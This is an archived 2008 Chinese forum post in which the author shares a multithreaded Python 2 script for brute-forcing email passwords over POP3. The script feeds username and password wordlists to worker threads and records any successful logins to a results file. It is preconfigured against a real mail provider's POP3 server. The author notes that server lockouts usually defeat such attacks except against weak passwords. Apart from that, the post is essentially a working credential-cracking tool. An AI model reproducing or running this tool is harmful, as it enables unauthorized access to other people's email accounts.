Python's Archiver

為方便港臺同胞閱覽,Python中國特別推出簡繁體內容轉換功能

xieaotian 发表于 2008-11-17 11:31

python写的多线程版本的email破解程序

一下午的成果,不过通常的pop3服务器的设置方式,让暴力破解不太可能。

除非密码太弱,否则短时间重复登陆多次,就在相当长时间内,无法再登陆了。

#-*- coding:UTF-8 -*-

###################
##Author: ArcherSC
##Jilin University
###################
import time
import sys
import poplib
import string
import Queue
#may be failed to import thread

try:
       import thread
except ImportError:
       del sys.modules[__name__]
       raise
try:
       import threading
except ImportError:
       del sys.modules[__name__]
       raise

g_success = 0

class TryUserPassPop3(threading.Thread):
       def setQueueHandle(self,queue):
           self.m_QueueHandle = queue

       def setResultFile(self,filehandle):
           self.m_FileHandle = filehandle

       def connectServer(self,server):
           try:
               self.m_POPClient = poplib.POP3(server)
               print self.m_POPClient.getwelcome()
           except poplib.error_proto,(msg,):
               print 'failed to connect server %s\n' % (msg,)
               return 0
           else:
               return 1

       def tryUserPass(self,user,password):
           try:
               self.m_POPClient.user(user)
               self.m_POPClient.pass_(password)
           except poplib.error_proto,(msg,):
               print ' failed user:%s pass:%s %s\n' % (user,password,msg)
               return 0
           else:
               print ' success user:%s pass:%s\n' % (user,password)
               return 1
            
       def stop(self):
           self.m_StopEvent.set()

       def start(self):
           self.m_StopEvent = threading.Event()
           self.m_StopEvent.clear()

           threading.Thread.start(self)

       def run(self):
           while 1:
               if self.m_StopEvent.isSet():
                   return 1
               try:
                   t_UP = self.m_QueueHandle.get(1,3)
               except Queue.Empty:
                   pass
               else:
                   if self.tryUserPass(t_UP[0],t_UP[1]):
                       self.m_FileHandle.write('user:%s''s password is %s' % t_UP)
                       self.m_FileHandle.flush()
                       global g_success
                       g_success = 1
                       time.sleep(4)

class CrackEmail:
       def __init__( self, server, userDataFile, passDataFile, resultDataFile ):
           self.m_Server = server
           self.m_UserDataFile = userDataFile
           self.m_PassDataFile = passDataFile
           self.m_ResultDataFile = resultDataFile

       def __del__( self ):
           self.m_ResultFileHandle.close()
           for t_thread in self.m_ThreadObjList:
               t_thread.stop()
               t_thread.join()
        

       def setThreadCount( self, count ):
           self.m_ThreadCount = count
       def setQueueSize( self , size = 0):
           self.m_Queue = Queue.Queue(self.m_ThreadCount)

       def startAllThread( self ):
           print 'all threads starting......\n'
           self.m_ResultFileHandle = open(self.m_ResultDataFile, 'a')

           self.m_ThreadObjList = []
           for t_i in range(0,self.m_ThreadCount):
               self.m_ThreadObjList.append( TryUserPassPop3() )

           for t_Thread in     self.m_ThreadObjList:
               t_Thread.setQueueHandle(self.m_Queue)
               t_Thread.setResultFile(self.m_ResultFileHandle)

               if t_Thread.connectServer(self.m_Server):
                   t_Thread.start()
               
           print 'start ok\n'

       def loadPassWord( self , pos = 0 , count = 1 ):
           t_passlist = []
           t_pdf = open(self.m_PassDataFile,'r')
           t_pdf.seek(pos)
           t_currentcount = 0
           while t_currentcount < count :
               t_passline = t_pdf.readline()
               if t_passline:
                   t_passlines = string.split(t_passline)
                   t_currentcount += len(t_passlines)
                   t_passlist.extend(t_passlines)
               else:
                   break
           t_currentpos = t_pdf.tell()
           t_pdf.close()
           return t_passlist,t_currentpos
       def loadUserList( self ):
           t_userlist = []
           t_udf = open(self.m_UserDataFile, 'r')
           for t_user in t_udf:
               t_userlist.extend(string.split(t_user))
           t_udf.close()
           return t_userlist
   
       def run( self ):
           self.startAllThread()
           t_userlist = self.loadUserList()
           t_recordfile = open('e:\\record.txt','a')

           for t_user in t_userlist:
               t_currentpos = 0
               while 1:
                   t_recordfile.write('%d\n' % t_currentpos)
                   t_recordfile.flush()

                   t_passlist,t_currentpos = self.loadPassWord(t_currentpos,self.m_ThreadCount)

                   if t_passlist:
                       for t_pass in t_passlist:
                           try:
                               self.m_Queue.put( (t_user,t_pass), 1, 8 )
                           except Queue.Full:
                               print 'queue is full\n'
                               time.sleep(10)
                           else:
                               continue
                        
                   global g_success
                   if g_success:
                       g_success = 0
                       break

           t_recordfile.close()


mycrack = CrackEmail('pop3.163.com','e:\\user.txt','e:\\pass.txt','e:\\result.txt')
mycrack.setThreadCount(5)
mycrack.setQueueSize()
mycrack.run()

页: [1]

Powered by Discuz! Archiver 6.1.0  © 2001-2007 Comsenz Inc.